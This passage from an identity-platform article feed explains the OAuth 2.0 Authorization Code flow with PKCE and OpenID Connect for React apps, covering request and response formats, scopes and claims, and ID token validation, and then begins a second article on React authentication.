<table><thead><tr><th></th><th><strong>OAuth 2.0</strong></th><th><strong>OpenID Connect</strong></th></tr></thead><tbody><tr><td><strong>Answers</strong></td><td>Can this app access this resource on behalf of this user?</td><td>Who is this user?</td></tr><tr><td><strong>Concern</strong></td><td>Authorization</td><td>Authentication</td></tr><tr><td><strong>Primary output</strong></td><td>Access token</td><td>ID token</td></tr><tr><td><strong>Consumed by</strong></td><td>Your API, as a credential</td><td>Your React app, to establish identity</td></tr></tbody></table>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-is-the-authorization-code-flow">What is the Authorization Code flow?<a href="https://choreolabs.com/identity-and-access-management/learn/oauth-oidc-pkce-for-react#what-is-the-authorization-code-flow" class="hash-link" aria-label="Direct link to What is the Authorization Code flow?" title="Direct link to What is the Authorization Code flow?" translate="no">​</a></h2>
<p>The OAuth 2.0 specification defines several "flows", known formally as <strong>grant types</strong>, for obtaining tokens.</p>
<p>A grant type defines how your application communicates with the token issuer, such as an identity provider, to get those tokens.</p>
<p>We won't go deep into every grant type defined in the OAuth 2.0 specification. Instead, we'll focus on the <strong>Authorization Code Flow</strong>, the subject of this article. Along the way, you'll also get a sense of how some older, less secure grant types worked and how the Authorization Code Flow addresses many of their shortcomings.</p>
<p>Before we get into the nitty-gritty, let's first look at how the Authorization Code grant works at a high level.</p>
<p><img decoding="async" loading="lazy" alt="Authorization Code Flow sequence diagram" src="https://choreolabs.com/identity-and-access-management/learn/assets/images/1-b49d10a9864759763a16185e4099b1bd.png" width="2800" height="2400" class="img_ev3q"></p>
<p>One thing you may have noticed in the flow diagram above is that the Authorization Code Flow doesn't send the access token or ID token directly to the application.</p>
<p>Instead, it first returns a short-lived authorization code, which the application then exchanges for tokens.</p>
<p><strong>Why the two step flow?</strong></p>
<p>When a user clicks sign in, the authorization request happens through the user's browser. If the access token were returned through that browser-based flow, it could be exposed in the URL and potentially end up in places such as the browser history or referrer data.</p>
<p>A legacy grant type called the <strong>Implicit grant</strong> worked this way. Instead of returning an authorization code, it returned the access token directly through the browser redirect.</p>
<p>The Authorization Code Flow avoids that. Rather than sending the token through the redirect, the authorization server returns a short-lived, single-use authorization code. The application then exchanges that code for the actual tokens in a separate request.</p>
<p><strong>How is this more secure?</strong></p>
<p>The key difference is how the two steps travel.</p>
<p>The authorization code is returned through the browser redirect, where values can appear in the URL. The token exchange, however, is a separate HTTP request to the token endpoint. The tokens come back in the response body, not in the browser's address bar.</p>
<p>That means the access token and ID token stay out of the redirect URL, browser history, and referrer data. The only thing exposed on that first browser-facing leg is the short-lived authorization code.</p>
<p><strong>But if that code travels through the browser, what stops someone from stealing it and exchanging it for the tokens?</strong> If that was your first thought, you're already one step ahead. For browser-based apps like React SPAs, the Authorization Code Flow alone isn't quite enough. It needs one more piece: PKCE.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-public-client-problem-and-how-pkce-solves-it">The public client problem, and how PKCE solves it<a href="https://choreolabs.com/identity-and-access-management/learn/oauth-oidc-pkce-for-react#the-public-client-problem-and-how-pkce-solves-it" class="hash-link" aria-label="Direct link to The public client problem, and how PKCE solves it" title="Direct link to The public client problem, and how PKCE solves it" translate="no">​</a></h2>
<p>For conventional applications, the Authorization Code Flow alone can be enough. These applications can safely hold a secret, which the authorization server verifies along with the authorization code before issuing tokens.</p>
<p>But, anything shipped in a React app's JavaScript bundle is visible to anyone who opens their browser's devtools. If you embedded a client secret in your frontend code, it wouldn't be a secret anymore. This is why single-page applications are called <strong>public clients</strong>: clients that, by design, cannot hold a confidential secret.</p>
<p>Without a secret, the Authorization Code Flow has a gap: if an attacker somehow got hold of your app's authorization code they could exchange it for tokens themselves.</p>
<p>This is exactly the gap <strong>PKCE</strong> (Proof Key for Code Exchange, defined in <a href="https://datatracker.ietf.org/doc/html/rfc7636" target="_blank" rel="noopener noreferrer" class="">RFC 7636</a>, pronounced "pixy") closes. Let's look at how PKCE solves this problem.</p>
<ol>
<li class="">
<p>Before sending the authorization request, your app generates a random secret in memory called the <strong>code verifier</strong>.</p>
</li>
<li class="">
<p>It then derives a <strong>code challenge</strong> from that verifier by hashing it with SHA-256 and Base64URL-encoding the result. Only the challenge is sent with the authorization request. The verifier stays with the app.</p>
</li>
<li class="">
<p>When the app later exchanges the authorization code for tokens, it sends the original code verifier along with the code.</p>
</li>
<li class="">
<p>The authorization server applies the same transformation to the verifier and compares the result with the code challenge from the original request. If they don't match, the token exchange is rejected.</p>
</li>
</ol>
<p>Because the code verifier never leaves your app until that final exchange, a stolen authorization code is useless to an attacker who doesn't also have the verifier. That four-step handshake is the whole of PKCE, and it's what lets a public client prove its identity without ever holding a secret.</p>
<p>PKCE was originally introduced to protect public clients like SPAs. The <a href="https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1" target="_blank" rel="noopener noreferrer" class="">OAuth 2.1 draft</a>, still an Internet-Draft and not yet a finalized standard, proposes to go further and require PKCE for all clients using the Authorization Code Flow, adding an extra layer of protection even when a client secret is available.</p>
<p>That, though, is a discussion for another day.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-authorization-code-flow-with-pkce-step-by-step">The Authorization Code Flow with PKCE, step by step<a href="https://choreolabs.com/identity-and-access-management/learn/oauth-oidc-pkce-for-react#the-authorization-code-flow-with-pkce-step-by-step" class="hash-link" aria-label="Direct link to The Authorization Code Flow with PKCE, step by step" title="Direct link to The Authorization Code Flow with PKCE, step by step" translate="no">​</a></h2>
<p>By now, you should have a good idea of how the Authorization Code Flow with PKCE works at a high level. In this section, we'll take it one step further and look at what those requests actually look like.</p>
<p>Before we jump into the more detailed flow diagram, this time with the user's browser in the picture, let's quickly go over a few key pieces of information the application and identity provider rely on.</p>
<ul>
<li class="">
<p><code>client_id</code> - The identity provider uses this to recognize your application.</p>
</li>
<li class="">
<p><code>redirect_uri</code> - The URL the identity provider sends the browser back to after authorization is complete. This is often called the <strong>callback URL</strong>.</p>
</li>
<li class="">
<p><code>state</code> - A random value your app creates before the flow starts. When the identity provider sends it back, your app checks that it's the same value it started with. It protects against cross-site request forgery: without it, an attacker could trick a user into completing someone else's login flow.</p>
</li>
<li class="">
<p><code>nonce</code> - Another random value, but this one belongs to OpenID Connect. If the application sends a nonce with the authentication request, the identity provider includes that same value in the ID token. The application can then check that the ID token belongs to the login attempt it started.</p>
</li>
</ul>
<p><img decoding="async" loading="lazy" alt="Authorization Code Flow with PKCE, full technical sequence diagram" src="https://choreolabs.com/identity-and-access-management/learn/assets/images/2-a2157e045a4415e43823b039ec228881.png" width="3200" height="4000" class="img_ev3q"></p>
<p>Let's slow things down and dissect the two most important requests in this flow.</p>
<p>First, the browser talks to the identity provider to request an authorization code. Later, the application talks to the identity provider again to exchange that code for tokens.</p>
<p><strong>I want an authorization code</strong></p>
<p>The user's browser, called the <strong>user agent</strong> in OAuth, sends this request to the identity provider to formally kick off the flow.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">GET /authorize?</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  response_type=code</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  &amp;client_id=YOUR_CLIENT_ID</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  &amp;redirect_uri=https://app.example.com/callback</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  &amp;scope=openid profile</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  &amp;state=RANDOM_STATE</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  &amp;code_challenge=CODE_CHALLENGE</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  &amp;code_challenge_method=S256</span><br></span></code></pre></div></div>
<p>Let's map the concepts you already know to the actual parameter names in this request:</p>
<ul>
<li class="">
<p><code>response_type=code</code> - Tells the identity provider that the application wants an authorization code back.</p>
</li>
<li class="">
<p><code>scope</code> - Describes the permissions the application is requesting. Including the <code>openid</code> scope turns the OAuth 2.0 request into an OpenID Connect authentication request.</p>
</li>
<li class="">
<p><code>code_challenge</code> - The PKCE challenge derived from the code verifier and sent with the authorization request.</p>
</li>
<li class="">
<p><code>code_challenge_method=S256</code> - Tells the identity provider that the challenge was created using SHA-256.</p>
</li>
</ul>
<p>In plain terms, this request says, <em>Here's who I am, I want an authorization code, and when you're done, send it back to this URL</em>.</p>
<p><strong>I want my tokens</strong></p>
<p>Once the browser lands back on your redirect URI with the authorization code, the browser's part is done. The application takes over from here and calls the identity provider directly, with a background request rather than a browser redirect, to exchange that code for tokens.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">POST /oauth2/token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Content-Type: application/x-www-form-urlencoded</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">grant_type=authorization_code&amp;code=AUTHORIZATION_CODE&amp;redirect_uri=https://app.example.com/callback&amp;client_id=YOUR_CLIENT_ID&amp;code_verifier=CODE_VERIFIER</span><br></span></code></pre></div></div>
<ul>
<li class="">
<p><code>grant_type</code> - Tells the identity provider which OAuth grant the application is using to request tokens.</p>
</li>
<li class="">
<p><code>code_verifier</code> - The original random PKCE value the application created before starting the flow. It sends this now so the identity provider can verify that the same app that started the authorization request is the one exchanging the code for tokens.</p>
</li>
</ul>
<p>If the code, the verifier, and everything else on the identity provider's checklist line up, the response carries the tokens your application has been waiting for:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"access_token"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"ACCESS_TOKEN"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"id_token"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"ID_TOKEN"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"token_type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Bearer"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"expires_in"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">3600</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<ul>
<li class=""><code>token_type</code> - Tells the application how the access token should be used when making API requests. A value of <code>Bearer</code> means the app sends the token as a bearer token, typically in the Authorization header: <code>Authorization: Bearer ACCESS_TOKEN</code>.</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="see-the-flow-in-your-own-react-app">See the flow in your own React app<a href="https://choreolabs.com/identity-and-access-management/learn/oauth-oidc-pkce-for-react#see-the-flow-in-your-own-react-app" class="hash-link" aria-label="Direct link to See the flow in your own React app" title="Direct link to See the flow in your own React app" translate="no">​</a></h2>
<p>If you already have a React app wired up with <code>&lt;AsgardeoProvider /&gt;</code> and <code>&lt;SignInButton /&gt;</code> from <a href="https://www.npmjs.com/package/@asgardeo/react" target="_blank" rel="noopener noreferrer" class="">@asgardeo/react</a>, the WSO2 Identity Platform React SDK, you have the entire OAuth 2.0 setup in two components.</p>
<p>Let's use that same setup to watch this flow happen in your own application.</p>
<p>Open your app, open the browser devtools, switch to the <strong>Network</strong> tab, and filter requests by typing <code>authorize</code>. Now click the sign-in button.</p>
<p><img decoding="async" loading="lazy" alt="OIDC authorize request in the browser devtools network tab" src="https://choreolabs.com/identity-and-access-management/learn/assets/images/3-3997ce5917d36a55218f152a5b6b2515.png" width="2048" height="648" class="img_ev3q"></p>
<p>Switching to the <strong>Payload</strong> tab breaks that same request down into its individual query string parameters, which is easier to read than parsing the raw URL:</p>
<p><img decoding="async" loading="lazy" alt="OIDC authorize request payload in the browser devtools network tab" src="https://choreolabs.com/identity-and-access-management/learn/assets/images/4-e5a480a90fb8b730335ae7f20e9b9eb9.png" width="1116" height="586" class="img_ev3q"></p>
<p>You'll see every parameter we discussed in the request: <code>response_type=code</code>, <code>scope=openid profile</code>, <code>redirect_uri</code>, <code>code_challenge_method=S256</code>, and a <code>code_challenge</code> value. The SDK generated the code verifier, derived this challenge, and attached it here without you having to do any of the work.</p>
<p>After you complete the login form, filter the network tab by typing <code>token</code> instead. Click the request that fired right after you completed the login and switch to its <strong>Payload</strong> tab.</p>
<p><img decoding="async" loading="lazy" alt="Token exchange request payload in the browser devtools network tab" src="https://choreolabs.com/identity-and-access-management/learn/assets/images/5-814053ab27f597b7302486745ec66e6f.png" width="2048" height="559" class="img_ev3q"></p>
<p>There it is: <code>grant_type=authorization_code</code>, the code from the redirect, and, critically, a <code>code_verifier</code> value, proving this is the same app instance that started the login.</p>
<p>Switch over to the <strong>Response</strong> tab on that same request, and you'll find what the application was waiting for:</p>
<p><img decoding="async" loading="lazy" alt="Token exchange response in the browser devtools network tab" src="https://choreolabs.com/identity-and-access-management/learn/assets/images/6-facf71c2299a31c27f0cd78e8f7144fc.png" width="1486" height="332" class="img_ev3q"></p>
<p>The access token and ID token come back here, in the response body.</p>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>note</div><div class="admonitionContent_BuS1"><ul>
<li class="">You may see more than one token request in the filtered list. The SDK reuses the same token endpoint later on to silently renew tokens using the refresh token grant, which we will cover elsewhere.</li>
<li class="">You'll also notice a <code>refresh_token</code> in the response, which is exactly what the SDK uses for the silent renewal mentioned above.</li>
</ul></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="scopes-claims-and-the-userinfo-endpoint">Scopes, claims and the userinfo endpoint<a href="https://choreolabs.com/identity-and-access-management/learn/oauth-oidc-pkce-for-react#scopes-claims-and-the-userinfo-endpoint" class="hash-link" aria-label="Direct link to Scopes, claims and the userinfo endpoint" title="Direct link to Scopes, claims and the userinfo endpoint" translate="no">​</a></h2>
<p>We briefly touched on <strong>scopes</strong> earlier, but they deserve a little more attention because they show up in almost every OAuth and OpenID Connect request.</p>
<p>At a high level, a scope is a way for the client to say:</p>
<p><strong>"This is the access I'm asking for."</strong></p>
<p>For example:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">scope=openid profile email</span><br></span></code></pre></div></div>
<p>Each value adds something to the request.</p>
<ul>
<li class="">
<p><code>openid</code> tells the authorization server that this is an <strong>OpenID Connect</strong> request, not just a plain OAuth 2.0 authorization request.</p>
</li>
<li class="">
<p><code>profile</code> and <code>email</code> ask for access to related information about the user.</p>
</li>
</ul>
<p>In OpenID Connect, pieces of information about the user are represented as <strong>claims</strong>.</p>
<p>A claim is a name-value pair that describes something about the user or the authentication event. For example:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"name"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Alex"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"email"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"alex@example.com"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>Here, <code>name</code> and <code>email</code> are claims.</p>
<p>Depending on the provider and how it is configured, requested claims may be returned in the ID token or made available through the <strong>UserInfo endpoint</strong>, an OpenID Connect endpoint your application can call when it wants additional information about the signed-in user.</p>
<p>The application calls it using the access token it already has:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">GET /userinfo HTTP/1.1</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Host: identity.example.com</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Authorization: Bearer ACCESS_TOKEN</span><br></span></code></pre></div></div>
<p>The provider can then return claims associated with that user:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"sub"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"248289761001"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"name"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Alex"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"email"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"alex@example.com"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>So scopes describe what the client is asking for, while claims are the actual pieces of information returned about the user.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="validating-tokens-correctly-and-the-shortcuts-that-break">Validating tokens correctly, and the shortcuts that break<a href="https://choreolabs.com/identity-and-access-management/learn/oauth-oidc-pkce-for-react#validating-tokens-correctly-and-the-shortcuts-that-break" class="hash-link" aria-label="Direct link to Validating tokens correctly, and the shortcuts that break" title="Direct link to Validating tokens correctly, and the shortcuts that break" translate="no">​</a></h2>
<p>By the time your React application gets an ID token back, the job is not done. In order for the application to trust the received token, it needs answers for the following questions.</p>
<ul>
<li class=""><strong>Did this token come from the identity provider I trust?</strong></li>
<li class=""><strong>Was it actually issued for my application?</strong></li>
<li class=""><strong>Does it belong to the authentication request I started?</strong></li>
<li class=""><strong>Can I trust the contents inside it?</strong></li>
</ul>
<p>The <code>aud</code> (audience) claim tells the client who the ID token was issued for.</p>
<p>Most of the time, it is straightforward:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"aud"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"react-client"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>If your client ID is <code>react-client</code>, that is exactly what you expect to see.</p>
<p>But OpenID Connect also allows an ID token to have more than one audience:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"aud"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">"react-client"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"another-client"</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"azp"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"react-client"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>When that happens, another claim can appear: <code>azp</code>, which stands for <strong>authorized party</strong>.</p>
<p><code>azp</code> identifies the client the token was issued to when there is more than one audience involved. So if <code>azp</code> is present, the client checks that it contains its own client ID.</p>
<p>Earlier, we introduced another random value called <code>nonce</code>. The authorization request example above leaves it out to keep things short, but when the client sends a nonce with the OpenID Connect request, the identity provider includes that same value in the ID token. So the client can compare:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Authorization request</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  nonce = abc123</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">ID token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  nonce = abc123</span><br></span></code></pre></div></div>
<p>If the values match, the ID token belongs to the authentication request the client started. If they do not, the token should not be accepted.</p>
<p>There is one more part of ID token validation we have not really talked about yet: <strong>the signature.</strong></p>
<p>An ID token is normally represented as a <strong>JSON Web Token</strong>, or <strong>JWT</strong>. We do not need to go deep into JWTs here, but in short, the identity provider signs the ID token using a private key. The client can then verify that signature using the corresponding public key.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="a-valid-signature-is-not-the-end-of-validation">A valid signature is not the end of validation<a href="https://choreolabs.com/identity-and-access-management/learn/oauth-oidc-pkce-for-react#a-valid-signature-is-not-the-end-of-validation" class="hash-link" aria-label="Direct link to A valid signature is not the end of validation" title="Direct link to A valid signature is not the end of validation" translate="no">​</a></h3>
<p>This is where one of the easiest shortcuts appears.</p>
<p>Suppose the token has:</p>
<ul>
<li class="">✓ valid signature</li>
<li class="">✓ not expired</li>
<li class="">✗ wrong audience</li>
</ul>
<p>That token still needs to be rejected. Claims such as <code>iss</code>, <code>aud</code>, <code>exp</code>, and <code>nonce</code> answer different questions about whether that token is acceptable for this client and this login.</p>
<p>So far, we have been talking about ID tokens because the OIDC client consumes them. An access token could be an opaque value:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">2YotnFZFEjr1zCsicMWpAA</span><br></span></code></pre></div></div>
<p>There may be nothing useful for your React application to decode. The API may validate that token using a mechanism such as <strong>token introspection</strong>, depending on how the authorization server is configured.</p>
<p>In a production React application, a well-tested OIDC client normally handles ID token validation for you, while the API independently validates the access token it receives. The SDK removes a lot of protocol code from your application. The validation rules underneath it still remain the same.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://choreolabs.com/identity-and-access-management/learn/oauth-oidc-pkce-for-react#conclusion" class="hash-link" aria-label="Direct link to Conclusion" title="Direct link to Conclusion" translate="no">​</a></h2>
<p>The Authorization Code Flow with PKCE looks complicated at first because a lot of small pieces move together: redirects, authorization codes, state, nonce, PKCE values, and finally the tokens themselves. But each piece has a specific job.</p>
<p>The Authorization Code Flow keeps tokens out of the browser-facing authorization response, and PKCE makes sure that stealing the authorization code alone is not enough to exchange it for tokens. OpenID Connect adds the identity layer on top of OAuth 2.0, giving the client an ID token and a standard way to work with user claims. Once the tokens arrive, validation makes sure they came from the issuer you trust, were intended for the right client or API, and belong to the flow you actually started.</p>
<p>In a real React application, you normally don't want to implement all of this yourself, and a well-tested OIDC SDK handles most of the protocol work for you. Still, understanding what sits underneath the SDK changes how you debug authentication problems and how you reason about the security of the flow.</p>
<p>A <code>&lt;SignInButton /&gt;</code> may be all you write in React, but behind it is a carefully coordinated protocol making sure the right user gets the right tokens, and that those tokens are only accepted where they are supposed to be.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[React Authentication: The Complete Guide]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/react-authentication</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/react-authentication</guid>
            <pubDate>Tue, 01 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Learn how authentication works in a React app: OAuth 2.0 with PKCE, token storage, protected routes, and sessions, apply component-driven pattern with working WSO2 React SDK.]]></description>
            <content:encoded><![CDATA[<p>Most React authentication tutorials open by installing a package. That's the wrong first move, because the install command you run is the last decision in the chain, not the first. Before it you have to decide something more basic: who your app trusts to vouch for a user's identity, where the proof of that gets stored once you have it, what the browser is allowed to know, and which server actually enforces the answer. Later sections put names to these decisions, OAuth 2.0, OpenID Connect, PKCE, but the decisions themselves come first, and you can reason about all four before you know a single one of those names.</p>
<p>This guide is for React developers who want to understand that chain rather than copy it. We'll cover what frontend authentication actually means inside a single-page app, why React authentication differs from server-rendered login, the four real ways to get it, the sequence OAuth 2.0 and OpenID Connect now require, where tokens should live, and how to wire a working sign-in.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-authentication-actually-means-in-a-react-app">What "authentication" actually means in a React app<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#what-authentication-actually-means-in-a-react-app" class="hash-link" aria-label="Direct link to What &quot;authentication&quot; actually means in a React app" title="Direct link to What &quot;authentication&quot; actually means in a React app" translate="no">​</a></h2>
<p>Authentication is the process of proving who a user is. In a React application, that proof never happens in React, because React is a frontend library that runs entirely in the user's browser. The browser gets handed off to whoever is going to vouch for the user, call that party the identity provider, which might sit alongside your own backend or might be a separate identity service you don't run at all. That party checks the user's identity and hands back proof of it, calls that proof the credential, and only then does control return to your React code, which carries that credential to an API that decides what the user may do.</p>
